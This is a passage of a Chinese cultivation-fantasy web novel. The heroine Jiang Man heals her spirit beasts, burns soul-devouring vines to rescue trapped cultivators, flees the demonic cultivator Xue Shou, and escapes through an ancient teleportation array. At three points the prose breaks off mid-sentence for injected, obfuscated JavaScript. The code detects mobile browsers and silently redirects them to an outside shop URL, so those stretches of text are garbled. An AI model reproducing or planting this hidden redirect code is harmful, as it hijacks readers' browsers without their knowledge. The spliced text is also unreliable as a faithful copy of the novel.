随即江蔓像是想到了什么,取出放置寒玉果的玉盒,与缩小的冰鳞蛇一起放入怀中。 寒玉果对妖兽有奇效,只是靠近,冰鳞蛇的气息便平稳了些,伤势恢复也快了些。 只是…… 江蔓看着对着玉盒不断流口水的冰鳞蛇,有些无语,这是多馋啊。就连之前和冰鳞蛇做对的大黄也乖乖地没有炸毛,它看到冰鳞蛇保护江蔓的场景,在它心里,冰鳞蛇终于是“自己蛇”了。 见冰鳞蛇还有力气流口水,江蔓松了口气。 她调息了一下,觉得此处还是有风险,担心谢无回两人顺着河底找过来,便掏出地图研究起来。秘境南边有一处森林,没什么特别宝物,也没有危险,适合现在的她去修养。 只是不知道谢无回两人会不会追来。 等她出了山洞,便没有这个担心了。 青鸾秘境北方,一道金色光柱冲天而起,贯穿云层,即使江蔓与之相隔很远,也能感受到其中蕴含的威压。金色光柱中,一座巍峨巨塔虚影缓缓凝实,塔身铭刻着难以辨别的特殊文字和符号,文字闪烁的时候,塔周灵气涌动。 “天阶传承。”江蔓立即就猜到那座塔是什么,她下意识攥紧胸前染血的衣襟,看向天空。 青鸾秘境仿佛活了过来,一道道流光从秘境四面八方涌出,急切地掠向光柱方向。有修士脚踏飞剑而去,也有人驱使着葫芦、玉梭等异形法器,毫不掩饰他们对天阶功法的向往。 宝光闪烁,将秘境的天空都点亮了。 天阶功法很有诱惑力,但江蔓摸了摸储物袋中仅存的几枚回气丹,叹了口气。这功法显然不是现在的她能参与争夺的。 “机缘虽好,也要有命去拿啊。”经过刚刚寒玉果的事,江蔓心有所感。 她最后看了一眼恢弘塔影,以及那些争先恐后冲过去的修士们,毅然转身,朝着相反方向的森林而去,还是先养伤再说。 *** 同一时刻,天衍宗。 凌霄峰峰顶,雷云密布。 钟离樾站在空中,白衣猎猎,黑发飞扬,他生就一副不沾尘欲的相貌,眉眼似远山覆雪,鼻梁高直,唇色淡薄,通身透着一股不近人情的冷气。他神色自若,手中长剑斜指地面,对当头劈落的恐怖雷劫恍若未觉。 就在雷劫即将落来的瞬间,他忽然抬眸,望向南方。那双总是淡漠的眼眸中,闪过一丝极细微的波动。 那是青鸾秘境的方向。 他的剑气被触发了。 钟离樾手腕一转,长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125918|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑自下而上撩起。 没有华丽的剑光,没有震天的剑鸣。只是最简单的一记上撩。但剑锋所过之处,空间仿佛被冻结。那道足以劈碎山岳的雷劫,在触及剑锋的瞬间,化作漫天光点消散。 雷云散去,天光重现。 钟离樾缓缓落地,长剑归鞘。他周身气息更加内敛。 金丹后期,已成。 不止后期。灵力在体内奔涌,直冲大圆满之境,距离元婴只差一线。如今他已是半步元婴。 “好!” 远处观礼的太华宗掌门陆文声抚掌大笑,“清晏,你这凌霜剑愈发精进了。九道雷劫,一剑破之。以你现在的修为,想必对上元婴期也不落下风。” 钟离樾微微颔首:“宗主过誉。” 他语气平淡,听不出喜怒。 陆文声不在乎钟离樾的冷然,他知道钟离樾就是这个性子,加上所习功法的原因,平日里与所有人都是疏离的。 他转头朝身边人笑道:“当初我不赞成清晏修凌霜寂灭剑诀,这剑诀太过特殊,不仅对修炼者悟性和心性要求高,每突破一小阶都要渡雷劫,太过艰难了。没想到却这么适合清晏。” 修士突破金丹期开始,每突破大境便要经受雷劫,结丹有金丹劫,元婴有元婴劫。钟离樾的功法更是特殊,从筑基期开始,每一小境界,从初期突破中期,从中期突破后期,便要经历雷劫,可以说凶险万分。 但好处也是明显的,经过雷劫淬炼,钟离樾的修为在同阶修士中无敌,且剑修本就战力斐然,越阶战斗并不是难事。 站在宗主身侧的是一位青袍修士。他看上去颇为年轻,如墨长发中却夹杂着几缕刺目的白发,面容清俊,眼覆白布,一道旧伤划过眉间,带着几分沧桑感。此人正是钟离樾的师尊,太华宗修为最高的玄尘真君。 玄尘真君朝掌门略一点头:“不足的地方还有很多。”随即面向钟离樾,静静地看着自己的弟子。他眼覆特殊白布,不能视物,但修为到这个地步,自然有办法不用双眼也能看清。 “清晏,你的心不静。” 钟离樾持剑的手几不可察地顿了一下:“师父多虑,弟子一心修行。” “一心修行?”玄尘真君衣襟纷飞,抬头看天,因白布蒙眼,无人看出他眼中的情绪,只能看到他嘴角拉平,带着明显的不悦,“那为何在破最后一道雷劫时,你会分心?” 钟离樾沉默。 “你送出了一道剑气?”玄尘真君指了指青鸾秘境的方向。 青鸾秘境与外界隔绝,即时是元婴真君,也不能隔着空间感受里面的灵气波动和剑气。玄尘真君对外号称元婴期大圆满,却能第一时间发现秘境中被激活的剑气,可见其修为莫测。 钟离樾早知自己师父的神秘,并不为此感到意外。 “她救过弟子的命。”钟离樾的声音没有起伏,仿佛不带一丝情绪,“还她一道剑气,了却因果。” “了却因果?”玄尘真君似乎笑了一声,随即转身离开,“希望如此吧。” 他脚步轻快,仿佛有清风载着他离开。 “为师只想提醒你一句,大道无情。” 掌门陆文声早在师徒俩交流的时候就悄然离开了。 峰顶只剩钟离樾持剑而立,白衣在风雪中微扬。漫天的飞雪还没有落在他身上,便被一股看不见的力量拂开。 许久,他躬身一礼:“弟子谨记。”然后转身,回自己住处。 殿前的雪地上,流光花开得正好,流光灯笼在风中轻轻摇曳。 四只彩色纸鹤展翅盘旋,翅膀上还沾着晨露,见钟离樾回来,纷纷热情飞到他身边。倒有几分物似主人形。 钟离樾的脚步在门前停了一瞬。随即抬手,没有犹豫,流光花、流光灯笼、纸鹤皆化作飞灰,彻底消散。 门外,又下雪了。 凌霄峰峰顶重新变回白雪皑皑,没有一丝光亮。 7. 噬魂妖藤 因为受了伤,江蔓也不敢在森林里乱窜,在大黄的帮助下,找到一棵十人合抱的千年古木,掀开外面那片密密麻麻天然生长的老藤,里面是一个被挡着的树洞。 内部干燥,有一个简易石床,从痕迹看,应该是有修士在这里休息过。里面有一处温泉,不是什么灵泉,但也有淡淡灵气。 江蔓利用仅剩的材料在树洞外布下一个警戒阵法,随即用带着清香的野草给大黄和冰鳞蛇铺了张床。 大黄累得平躺在江蔓铺好的草床上,四肢伸直,一动不动,若不是胸口起伏,看上去就像是一只死鼠了,想来是真累到了。 冰鳞蛇则选择待在温泉里,它是水生蛇,虽然发生变异能够口吐灵火,但还是亲近水,温泉中有灵气,适合它修养。 江蔓给大黄和小白分别塞了颗丹药,这才开始打坐调息。 等她调息好,已经是三日后了,她苍白的脸色恢复血色,衣襟上的血迹也已经干涸。使用了净身咒之后,才勉强恢复了整洁。 大黄也恢复了精神,正在角落里刨地,那里有灵气散出,被它察觉到了。 江蔓失笑,大黄真是将雁过拔毛的精神发挥到极致。 原以为大黄顶多挖出一些灵草,没想到竟发现了一个遗落的储物袋。 江蔓接过大黄叼过来的储物袋,上面禁制已除,说明主人已死,树洞里并没有看到遗骨,也不知这个储物袋怎么会落在这里。 储物袋里没什么宝贝,几件女修长裙,几件武器,一些丹药灵石、玉简和阵法材料。储物袋主人竟然也是个阵法师。 除此之外,只有一个月牙形的玉佩。江蔓拿起玉佩细细端详,这玉佩像是凡玉,只是上面被雕琢了阵法。 江蔓的阵法修行靠的是玉简和自己改良,没有专门师父教,还没见过这种精细雕刻在玉牌上的阵法。她忍不住细细琢磨。 玉佩上的阵法是两个小阵法套在一起,一个是保护阵法,保护这块凡玉不会损坏,另一个则有些新奇,是一个留影阵。 江蔓摩挲着玉佩上的纹路,一个女修的身影出现在玉佩前方,她不高,穿着凌虚阁紫色长裙,圆脸上一双眼睛亮晶晶的,嘴角带笑,露出两个酒窝:“留影阵终于成功啦!我简直是天才,一会就和小石头炫耀去。” 光芒闪动,进入下一个场景,是一个男人的背影,正御剑飞快离开,少女在下面追着喊,但男人没听到,径直飞过了。 少女的声音有些沮丧:“自从门派比斗输了之后,小石头就一直专心修炼,我们姐弟已经好久没有交流了,等我从青鸾秘境出来以后,一定要和他好好说说,修炼也不能太过紧绷。” 少女脸上带着天真烂漫的笑,听她这么说,江蔓心中不是滋味,少女没有以后了。 不出所料,画面晃动,少女脸上苍白,胸口有个血窟窿,已经是强弩之末了,她勉强挤出一个笑:“小石头,姐姐不能陪你一起修行了,你要好好的。我救了掌门独子,你再也不用愁资源的事情了,可惜姐姐看不到你以后大杀四方、行侠仗义的样子了……” 面前少女的身影消失,江蔓怅然,修真世界就是这么残酷。一条鲜活的生命悄然消逝在众人不知道的角落里。 少女储物袋里的东西虽不珍贵,但是解了江蔓燃眉之急,让她可以制作一些阵盘,继续探索青鸾秘境。她决定出秘境之后,托人去一趟凌虚阁,找一找少女的弟弟,将玉佩还给他。少女临死前将储物袋埋在这,就是希望有人将东西带给弟弟吧。只是不知道她弟弟是谁? 她筑基之前是不会去凌虚阁的,她还没忘记在寒渊谷想要杀她的那两人。虽不知他们身份,但看样子地位不低。 江蔓心中又有了紧迫感,利用少女储物袋的阵法材料,炼制了几个阵盘才稍稍松了口气。 在江蔓炼制阵盘的时候,时间又悄然过去两天。她收拾好阵盘,查看冰鳞蛇的情况。 冰鳞蛇受伤重,还没完全恢复,但比之前凄惨的样子可好多了,皮肉基本愈合,通体鳞片再度散发冰蓝色的光芒。到底是肉身强大的妖兽,恢复速度比人类修士快得多。 见江蔓看它,冰鳞蛇从温泉中探出大脑袋,将头塞进江蔓的怀里,差点将江蔓顶得跌倒。江蔓接收到它的想法,它想闻一闻寒玉果的味道,还表示闻了味道心情好,恢复得更快。 江蔓:“……”这蛇和她一起经历生死后,是彻底不装之前威风凛凛的样子了。她哭笑不得推了推怀里的大脑袋,“回去就分给你,这里不方便闭关。” 寒玉果这种天材地宝,吸收是需要时间的,秘境探索时间已所剩无几,自然不适合两只妖兽在此处闭关。 冰鳞蛇心满意足,摇头晃脑刚想表现自己对人类主人的亲近,却感受到什么,猛地从水里直起身,看向树洞外面。 大黄也警惕地从草床上蹦起来,有些炸毛地缩在江蔓身边。 江蔓侧耳倾听,风中隐约传来呼救声,夹杂着术法爆裂的轰鸣。 她犹豫片刻,还是准备去看看情况。倒不是想当救世主,只是在这秘境中,任何异常都可能是机缘或危机,她需要知道发生了什么。且现在筑基期修士都去争夺天阶传承了,有冰凌蛇在,就算打不赢,逃跑还是可以的。 江蔓刚走出树洞,便瞧见西北方向亮起求救信号。她没有犹豫,朝着那处赶过去。 穿过一片密林,眼前的景象让江蔓瞳孔微缩。 不远处,五个修士狼狈地困在一小片空地上,在他们周围,满是通体暗红、生有倒刺的奇异藤蔓。那些藤蔓像是有意识一般扭动着,不断收缩对五个修士的包围圈。 被困修士中,有一人江蔓还算熟悉,正是带着银毛寻宝鼠遁走的苏离。此时她不复之前的傲气,脸色苍白,衣衫破损,手腕上的红色玉镯化成一把火红色长剑,每挥出一下,便会有一条火龙出现,想要将藤蔓烧干。 藤蔓有些惧火,但因苏离是练气期修为,使出的火龙术只是凡火,对藤蔓伤害不够。反而是这些藤蔓诡异得很,能通过火焰吸收苏离的灵气。 苏离一边战斗一边护着身后的两个同伴,体内灵气枯竭,火龙逐渐变小,最后剑尖只能喷出小火球了。两个同伴情况更糟,其中一人已经半跪在地,全靠另外一人搀扶。 藤蔓吸收了灵气之后颜色越发艳丽。 除了苏离三人外,包围圈内还有两个人,看模样,应是这次来青鸾秘境探险的散修。其中一个穿着蓝色长衫的年轻散修受了重伤,已被藤蔓缠住,伤口中的鲜血还未滴落,便被藤蔓吸收。 这藤蔓……江蔓细看之后,心脏猛地一跳。 暗红色的藤身,表面布满细密的倒刺,顶端开着妖异的花朵,分明是古籍中记载的噬魂藤。 江蔓不修炼的时候喜欢在太华宗藏书阁看书,杂役弟子没资格借阅记载功法、心诀的玉简,但那些无人问津的残破古书,却是不禁止她翻阅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125919|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 其中有一本关于异植的书,因里面提到的异植大多已灭亡,江蔓将它当作故事书看。没想到竟在秘境中遇到书里记载的噬魂藤。 噬魂藤,喜食修士灵力,一旦被它缠上,修士身上的灵气很快就会被吸干。藤蔓吸干灵气后还不满足,会接着吸食修士血液,直至将修士精血也吸干后才会罢休。可以说,这完全是一种妖藤。 妖藤开出的花却有奇效,它的花可以炼制升灵丹,升灵丹能瞬息提升修士修为。 千年前有邪修为炼制升灵丹大规模培育噬魂藤,其中一人造成数起屠村惨案,练气期、筑基期修士死伤不少,甚至听说有金丹真人殒命。事情暴露后,修真界正道修士大惊,各大门派联合起来,一同剿灭邪修,摧毁噬魂藤。升灵丹也因炼制材料太过阴邪,被列为禁丹。 为什么本该绝迹的噬魂藤会出现在青鸾秘境? 江蔓仔细观察,发现这些藤蔓与残卷描述的有些不一样,藤蔓上的花朵不是血红,而是淡粉,噬魂藤的威力也没那么大。古书上记载,一根噬魂藤能瞬间将一个筑基期修士吸干,这里的噬魂藤虽威力不凡,但也只是靠着围困和缠绕慢慢吸收这几人的灵气。 这不正常。 江蔓环顾四周,刚刚只顾着看噬魂藤和被困的五人了,没来得及查看周围环境。才发现这以前应是一处战场,不少修士死在这里。地上散落着破损的法器,还有一具具早已干枯的骸骨。 噬魂藤的根须缠绕在这些骸骨上,吸食骸骨里的力量成长。但死去的修士的灵力到底不多,因此力量不足。 只是这噬魂藤究竟从何而来?难道有人在此培育? 不待江蔓多想,苏离身后跪在地上的弟子终于支撑不住,被噬魂藤缠住脚踝拖倒在地。苏离想去救,却被另外几根藤蔓逼退,她挥舞长剑,却连火球也召唤不出,只能眼睁睁看着同伴被拖向藤蔓最密集的中心区域。 江蔓知道被噬魂藤缠上只有被吸干的结果,她握紧袖中新做的阵盘,一步踏出。 虽说修真界讲究各自修行,修士间互相防备,甚至多有算计,但见死不救不是江蔓的性格。 恰在此时,苏离抬头看到了突然出现的江蔓,她先是双目微亮,随即想到江蔓的修为才练气七层,双眸又暗了下来,她冲着江蔓的方向挥手。 江蔓以为她要求救,没想到苏离却大喊一句:“蠢货,快跑,这藤蔓对修士灵力极其敏锐,被它缠上就跑不掉了。” 苏离双目晶亮,即使眼中满是恐惧,也拼尽全力护着两个同门师弟。面对关系一向不睦的江蔓,第一反应也是让她快跑。 江蔓微微叹气,这就是她以往不和苏离计较的原因,苏离只是任性,本性不坏。 她朝苏离笑了笑。 江蔓面对苏离时总是一副清冷模样,此刻这一笑,却如春水破冻,动人心魄。 苏离一愣,她很少和江蔓和平相处,没想到江蔓笑起来竟有几分……好看。 “嘶……”旁边蓝衣散修发出痛呼声,他刚刚不知何故愣住了,被藤蔓缠着又吸了灵气和精血。 苏离清醒过来,也不想探究江蔓究竟好不好看,提高声音:“傻了?还不快跑?”边喊边用手中的长剑砍噬魂藤,“你若遇到我姐姐,记得替我传信,让她烧了这些妖藤,替我报仇……” 但噬魂藤藤身坚韧异常,寻常刀剑难伤,且越砍缠得越紧。苏离的攻击显然是没用的。 8. 散修沈澜 苏离本意是让江蔓快跑,江蔓的修为比她还不如,凑过来的话只有死路一条,他们几人已然被噬魂藤困死了,何必再拉江蔓下水呢?能跑一个是一个吧。 但还没等苏离的话说完,就见江蔓左手一翻,一直被她握在手心中的阵盘显现出来,柔和的光晕如水波般从她身上荡开,形成一道稳定的淡金色光罩。 光罩形成的同时,江蔓周身的灵气波动骤然消失,整个人仿佛融入了周围环境,变成了路边的石头,若非肉眼可见,几乎感知不到她的存在。 原本感受到江蔓周身灵力波动,朝着她狂暴袭来的藤蔓在触及光罩边缘时齐齐一顿,仿佛失去了目标,在原地茫然摆动。 若是苏离等人遇到其他危机,以江蔓的修为怕是无法提供帮助,但巧合的是,她知道噬魂藤的弱点。噬魂藤只有感受到修士的灵力才会不死不休的纠缠,若是感受不到灵力,便毫无攻击性。 她在树洞里养伤的时候,改良了敛息阵,此时恰好能派上用场。 趁着噬魂藤察觉不到她的气息,江蔓扔了一瓶回气丹给被藤蔓包裹着的五人,他们被困许久,灵力被噬魂藤吸收,身上的回气丹想必早就用完。 看到先前还张牙舞爪的噬魂藤绕过江蔓,苏离等人目瞪口呆,有些恍惚地接过丹药。 江蔓点了点盘在手腕上装手镯的冰鳞蛇的蛇头,冰鳞蛇虽未完全恢复,但喷喷灵火还是可以的。 噬魂藤惧怕灵火,千年前正道修士就是利用灵火将噬魂藤灭绝。 冰鳞蛇百年前意外吞噬一块火灵矿,那火灵矿里封存的灵火,不仅让它身体变异,口吐的灵火更是威力不小。 这些噬魂藤本就是吸收骸骨灵力生长的营养不良虚弱藤,在冰凌蛇灵火攻击下,很快萎靡。江蔓召唤出桃花流云剑,精准砍在噬魂藤扎在骸骨上的根须。藤蔓应声而断,暗红汁液从断口处流出,一股腥臭味扑面而来。 被噬魂藤缠住的五人终于得以脱困,纷纷瘫倒在地大口喘息。 几人中受伤最重的蓝衣散修反而是第一个稳住气息的。 他走到江蔓面前,抱拳作揖:“在下沈??澜,是一名散修,多谢道友的救命之恩。”说完后,他双目紧盯江蔓,眼中似有期待。 江蔓有些疑惑,但只以为沈澜想和她互通姓名,回礼道:“在下江蔓,太华宗杂役弟子。” 对于自己杂役弟子的身份,江蔓并不忌讳,也不觉得说出来有什么不妥。她一直认为,杂役弟子是她的起点,不是她的终点。 沈澜眸光似乎暗了暗,沉默了一瞬。 江蔓这才发现,他虽然外貌平平,衣着朴素,但气质却格外出众,身上还带着隐隐药香,光是站在他身边,便让人有一种凝神的安宁感。 沈澜回首看了一眼还倒在地上四人,右手摊开,掌心浮现一朵青色莲花虚影,莲瓣舒展间,散发出柔和生机,轻抚过众人伤口。 被莲花光华笼罩,四人表情舒展了些,江蔓也觉得自己的灵气恢复速度变快了。 这是木系治疗术法?竟如此精纯。 江蔓猜测这人怕不是普通散修。 “江蔓师妹。”苏离先是服用回气丹,又有沈澜的治疗,终于恢复力气,神情复杂地走到江蔓身边,欲言又止,最终低声道:“多谢。还有……对不起。” 她在为以前针对江蔓的事情道歉。 她的高马尾散落下来,衣衫被噬魂藤勾坏,整个人有些蔫蔫的,虽狼狈却依旧挺直脊背,握紧手中火红色长剑。和江蔓道歉时,两颊绯红。 江蔓倒有些意外。她本以为,以苏离的性子,就算被救也会嘴硬到底。 “不必道歉,我并没将你放在心上。”江蔓实话实说,顿了顿,又补充道,“且你长得美,我对美人都宽容些。” “你……”苏离的脸“腾”地红了,不知是羞是气,指着江蔓说不出话。 江蔓一脸坦然。她说的是实话。苏离确实生得娇俏,哪怕此刻狼狈,也掩不住那份张扬的美。爱美之心人皆有之嘛。 倒是一边的沈澜,听到这话,若有所思。 说话间,一直跟在苏离身后的两个弟子和另一个女性散修也走到江蔓身边,一同向江蔓表示感谢。 面对他们的道谢,江蔓实事求是:“我恰好知道噬魂藤的弱点,若是力不能及,我也不一定会出手救你们。” 沈澜收起掌心青莲,听闻此言,不由露出一个笑,目露赞赏:“江道友真是纯善,心性开阔。” 沈澜容貌普通,但一双眼睛却熠熠生辉,被他这么灼灼盯着,江蔓有些不自在:“举手之劳,只是遵循本心罢了。” 沈澜眉眼弯弯,身上带着几分温润如玉的气质:“举手之劳,却是一片澄明道心。受教了。” 江蔓更不自在了,这个沈澜怎么这么会夸人。 察觉江蔓的心理,沈澜笑着转移话题:“江道友方才用的是什么阵法?既能完全敛去灵气,又能形成护身光罩。” 其他几人也有些好奇,就连苏离也一边梗着脖子,一边装作不在意地看向江蔓。 见沈澜不再夸她,江蔓从怀中取出阵盘展示给几人看:“这是我改造了敛息阵和防护阵后,自制的一个复合阵盘,我叫它‘画个圈’。” 江蔓不介意将阵盘给外人看,不是阵盘制作者,看不出阵法的制法。 “画个圈?”沈澜接过阵盘,仔细端详。阵盘所用材料并不珍贵,但上面的阵法符文却异常复杂,金色纹路层层叠叠,隐约构成一个闭环。 “阵法激活后能在身周一米形成光罩,隔绝内外灵气交互,保证内部气息不外露,且光罩本身可抵挡筑基初期修士全力一击。”江蔓解释道,这是她在山洞养伤时琢磨出来的,她被谢无回那个蛮不讲理的伪君子吓到了,阵法造诣突飞猛进,直接做出这种又能隐蔽气息,又能防护的阵盘。 众人纷纷感慨阵盘威力强大,只是这名字,他们不是很能理解。 江蔓摸了下耳朵:“小时候听的故事里,有只猴子给师父画了个圈,只要在圈内就能保平安。觉得挺应景,就这么叫了。” 原本装高冷的苏离忍不住笑了:“早就听说你喜欢看那些骗人的画本,猴子怎么会有师父?你说的怕不是猴妖吧。” 其他人也善意一笑。 听闻此言,江蔓觉得古怪,那确实是她的记忆碎片,一只无法无天的猴子,一个絮絮叨叨的和尚,一个画在地上的圈。她总觉得这是人人看过的画本,难道不是吗? 江蔓忍不住多想了一会,但一深入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125920|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想却觉得头疼,仿佛有什么东西在阻止她回忆。 “复合阵法,还自创阵法结构……”沈澜看向江蔓的眼神更深,双目更亮,“江道友在阵法上如此有天赋,假以时日,必成阵法宗师。” 这沈澜真是太会夸人了,江蔓强装镇定:“只是略懂。” “什么略懂,我看你厉害得很。”苏离说话依旧带刺,随即像是不经意开口,声音有些别扭,“我师叔是阵法堂长老,等回去之后,我可以做中间人,引荐你拜在师叔门下。以你在阵法上的天赋,就算灵根差些,师叔应该也会收你的。” 江蔓微微一愣,随即转头看向苏离,唇角轻轻扬起一个弧度:“多谢苏师姐好意。” 苏离脸一红,别过头去,小声嘀咕:“笑什么笑……我就是觉得,你待在凌霄峰当杂役太浪费了。” 心里却想,清晏真人是高悬天上的明月,好看是好看,却太过冰冷了。江师妹其实也不差,明艳美丽,心地善良,在阵法上有天赋,想必在师叔指导下很快就能突破。两人站在一起,倒也相配。 离开前,看着地上的噬魂藤,江蔓一挥手,冰鳞蛇喷出的灵火将藤蔓完全覆盖。这东西太过危险,还是尽快烧干净为好。 其他五人也切身体会过噬魂藤的厉害,担心噬魂藤在他们离去后死灰复燃,纷纷在边上帮忙。 噬魂藤在火焰中不断扭曲,终究抗衡不了灵火,发出一阵尖锐的爆鸣,最终变成灰烬消散在空气中。 几人听着只觉得诡异,噬魂藤果然是妖藤,一株植物竟也能发出这么大的声响。 明明噬魂藤都已经烧成灰了,江蔓心中却有不好的预感。几人一对视,都知道此地不宜久留,还是尽快离开为妙。 可还没等他们走多远,便听到有嘶哑的声音在他们身边阴测测地响起:“好大的胆子,竟敢趁着老夫不在,烧了老夫的小宝贝。” 江蔓几人只觉得脚下地面一软,四周土层炸裂,一股阴气包围住他们。 一道黑影从远处缓缓走来,他身披黑袍,面容笼罩在阴影中,只露出一双猩红眼眸和一双被玄铁包围的手。 “罢了,本就是打算用这些藤蔓收你们性命的……”黑袍人声音嘶哑,带着渗人笑意,“也好,本座亲自收你们便是。” “魔修血手。” 苏离惊呼一声,血手在这一片很有名,喜欢吞食修士心脏。是弟子出门,师父总会叮嘱两句小心的那种魔修。 血手已经几百岁,筑基期大圆满修为很久了,或许是恶事做的太多,一直没能跨过金丹期,眼看着寿元不足,人愈发疯狂了,时常藏在修士探险的地方埋伏路过的修士,名声可谓极差。因此一露面,苏离就认出他了。 血手面上保持阴冷的笑,却暗自觉得倒霉,他听说青鸾秘境有天阶功法现世,想着尝试一下天阶功法会不会帮他突破,为此特地取出珍藏的灵宝,扮作正道修士潜入青鸾秘境。 在天阶功法出世的第一时间,他就直接赶去那座塔了,还没入门,便被塔上的金光给弹射出来了。那金光竟克制他的魔修功法,没法子,只能狼狈离开。没想到他刚回来,便看到自己辛苦种下的噬魂藤被这些练气期的弟子们摧毁。 只有杀了这些修士,才能弥补自己的损失了。 9. 意外传送 血手一挥衣袖,身边出现一面阴气森森的旗帜。 “不好,是血手本命灵器鬼面幡,大家小心,上面的冤魂会吞食修士神魂。”苏离当即将她知道的信息喊出。 血手得意一笑:“知道老夫厉害就好。” 几人纷纷使出自己的绝招,抵挡朝他们身上飞扑而来的冤魂。因为实力差距,对抗显得吃力。 江蔓毫不犹豫撒出阵盘,将几人笼罩其中,同时放出手腕上的冰鳞蛇。 冰鳞蛇长啸一声,身躯暴涨,化作一道冰蓝旋风,所过之处冤魂尽数被火焰吞没。 血手有些吃惊,不过冰鳞蛇修为原就不如他,此刻重伤未愈,并不是他的对手。 “雕虫小技。”他冷哼一声,袖中飞出数枚黑钉,钉尖泛着诡异绿芒,直射冰鳞蛇七寸。 冰鳞蛇躲开黑钉,朝着血手方向喷出一大口火焰,卷着江蔓几人飞速离开。蛇现在也聪明了,知道打不过就跑。 冰鳞蛇的灵火威力不凡,将血手的斗篷都烧焦了。血手更怒,在几人身后紧追不舍,鬼面幡中冤魂飘浮在他身边,和他一同呼啸追逐。 血手知道冰鳞蛇是江蔓的妖兽,对付江蔓不免更用心些。江蔓挥剑格挡源源不断的冤魂,只觉得虎口发麻。此时一枚黑钉旋转而来,直逼她的眉心。 沈澜闪身挡在江蔓身前,双手结印,掌心翠绿光芒大放:“青莲护体。” 一朵巨大的青色莲花虚影在他头顶绽放,莲花旋转,洒下柔和却坚韧的青色光幕,将众人护在其中。黑钉撞在光幕上,发出“滋滋”的腐蚀声,却一时无法突破光幕的保护。 “沈道友……”江蔓看着他苍白的脸色,有些担心。 “无妨。”沈澜回头,朝她温和一笑,“总不能真看着你死在这里。” 他笑容清澈,眼中有翠绿光华流转,竟让江蔓有一瞬间的恍惚。这双眼睛,她似乎在哪里见过? 青莲花瓣绽放,围绕在他们身边的冤魂惨叫,纷纷化为飞灰。 血手惊疑:“竟是筑基大圆满修为?”他有些迟疑地停下追逐的脚步。血手还是惜命的,若是沈澜是筑基大圆满修士,加上一条筑基期的冰鳞蛇,他恐怕不是对手。 就在他犹疑时,看到青莲上隐隐露出的黑色印记,笑了:“差点被你唬住了,你虽有筑基大圆满的修为,但修为和法宝被封,根本用不出力量。” 血手越发张狂:“你和这蛇一起留下来喂我的鬼面幡吧。” 鬼面幡上鬼影幢幢,朝着青莲撞了过来,青莲虚影剧烈震颤,表面甚至出现了裂纹。沈澜身型一晃,吐出一口血。 见沈澜受伤,江蔓上前扶住沈澜的手。 感受到手上温润的触感,沈澜先是脸颊微红,随即反握住江蔓的手:“我知道这附近有一处传送阵,只是不知目的地在哪,你……”他意识到周围还有其他人,“你们可愿和我一同前去?” 若不是沈澜的青莲和冰鳞蛇护着,几人早就被血手抓住了,此刻听沈澜这么说,哪有不同意的道理。 “走。”得到众人回复,沈澜掐诀,青莲爆发出光芒,趁着青莲阻住血手的功夫,他带着几人奔向一处石壁缝隙。 那是一条蜿蜒的地缝,并非天然形成,石壁上刻满了符文,隐有光芒流动。不过几人现在只想着逃命,也没空研究墙上的符文。 地缝尽头豁然开朗,是一处巨大的地下洞窟。洞窟中央,矗立着一座三丈高的石质祭坛,祭坛呈圆形,上面刻满奇异的图案。 “那就是传送阵。”沈澜修为被封,一直强行运转灵气,此刻看到传送阵,松了一口气。 几人冲到岩石平台前,只见平台上纹路复杂,不是天然石纹,而是人工雕刻的阵纹,雕刻手法非常古老,应是古法。江蔓却觉得上面的符号有几分眼熟,竟和先前出世的天阶传承塔上的符号有些相似。 此刻不是思考的时候,眼看着血手已经追到眼前,几人匆忙站上传送阵。 血手赶来时,看到的就是几人进了传送阵的情形,他怒极了,咬破舌尖,一口精血喷在右臂上。枯槁的手臂骤然膨胀,猛地抓向施展青莲护罩的沈澜。 眼看着青莲碎裂,江蔓当即推开沈澜,自己却硬挨一击,身上阵光破碎。“画个圈”这个阵法能抵挡筑基初级的攻击,但血手是筑基大圆满,江蔓还是受伤了。 “江蔓。”沈澜的惊呼,手心出现一朵青莲,精纯的木系灵气渡入江蔓身体,缓解了她的痛楚。见江蔓没有生命危险,他才面色复杂道,“你还是老样子……是不是不管身边是谁,都愿意救上一救?” 江蔓正疑惑,脚下的传送阵因苏离眼疾手快放入灵石,已经开始运转起来。 “嗡……” 平台上的古阵纹逐一亮起,从边缘开始向中心蔓延,阵法的光芒刺破黑暗,将地窟照得如同白昼。 传送阵启动了。 血手想阻止,却被传送阵光芒震开:“怎么回事?这怎么和传承塔外的攻击手段类似?难道传送阵终端是那座塔?” 血手惊怒交加,若终点是传承之地,以他魔修的身份根本去不了。 *** 传送的眩晕感散去,江蔓勉强睁开眼,首先映入眼帘的是一片刺目的白光。 